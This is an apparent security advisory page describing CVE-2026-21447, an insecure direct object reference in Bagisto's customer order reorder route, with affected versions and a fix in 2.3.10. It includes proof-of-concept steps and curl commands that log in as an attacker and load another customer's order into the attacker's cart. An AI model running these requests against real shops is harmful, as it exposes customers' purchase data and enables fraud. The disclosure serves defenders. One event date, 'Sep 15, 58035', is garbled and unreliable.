CVE-2026-21447: Bagisto has IDOR in Customer Order Reorder Functionality

Published Jan 2, 2026
·
Updated

Summary

An Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer's order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud.

Details

The vulnerability exists in the reorder method within OrderController.php. Unlike other order-related functions like view, cancel, printInvoice that properly validate customer ownership, the reorder function retrieves orders using only the order ID without verifying that the order belongs to the authenticated customer.

Code location: packages/Webkul/Shop/src/Http/Controllers/Customer/Account/OrderController.php

Exposed Route: packages/Webkul/Shop/src/Routes/customer-routes.php

php Route::get('reorder/{id}', 'reorder')->name('shop.customers.account.orders.reorder');

PoC

I. Create victim account and place an order. II. Login as attacker. III. Exploit IDOR and navigate like: http://target.xxx/customer/account/orders/reorder/1 IV. Check http://target.xxx/checkout/cart and verify exploitation. V. Victim's order items are now in Attacker's cart.

PoC via curl:

curl -c cookies.txt -X POST "http://target.xxx/customer/login" -d "email=attacker@evil.com&password=123qwe"

curl -b cookies.txt "http://target.xxx/customer/account/orders/reorder/1"

curl -b cookies.txt "http://target/api/checkout/cart"

Impact

- Information Disclosure: Attackers can discover what products other customers have purchased. - Potential Fraud: Attackers could potentially exploit this for social engineering or targeted attacks.

Other sources

Bagisto is an open source laravel eCommerce platform. Prior to version 2.3.10, an Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer's order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud. Version 2.3.10 patches the issue.

MITRE

Affected Software

3 affected componentsFixes available
laravel/bagisto<2.3.10
composer/bagisto/bagisto<2.3.10
2.3.10
Webkul Bagisto<2.3.10

Event History

Jan 2, 2026
CVE Published
via MITRE·08:15 PM
Data Sourced
via MITRE·08:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·10:50 PM
Data Sourced
via GitHub·10:50 PM
DescriptionSeverityWeaknessAffected Software
Sep 15, 58035
Event
via FIRST·06:36 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-21447?

CVE-2026-21447 is considered a medium severity vulnerability due to the potential for unauthorized access to customer order information.

2

How do I fix CVE-2026-21447?

To fix CVE-2026-21447, upgrade Bagisto to version 2.3.10 or later.

3

Who is affected by CVE-2026-21447?

CVE-2026-21447 affects all versions of Bagisto prior to 2.3.10 that allow authenticated customers to manipulate order references.

4

What type of vulnerability is CVE-2026-21447?

CVE-2026-21447 is classified as an Insecure Direct Object Reference vulnerability.

5

Can CVE-2026-21447 lead to data leakage?

Yes, CVE-2026-21447 can lead to data leakage by allowing users to access other customers' order details.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203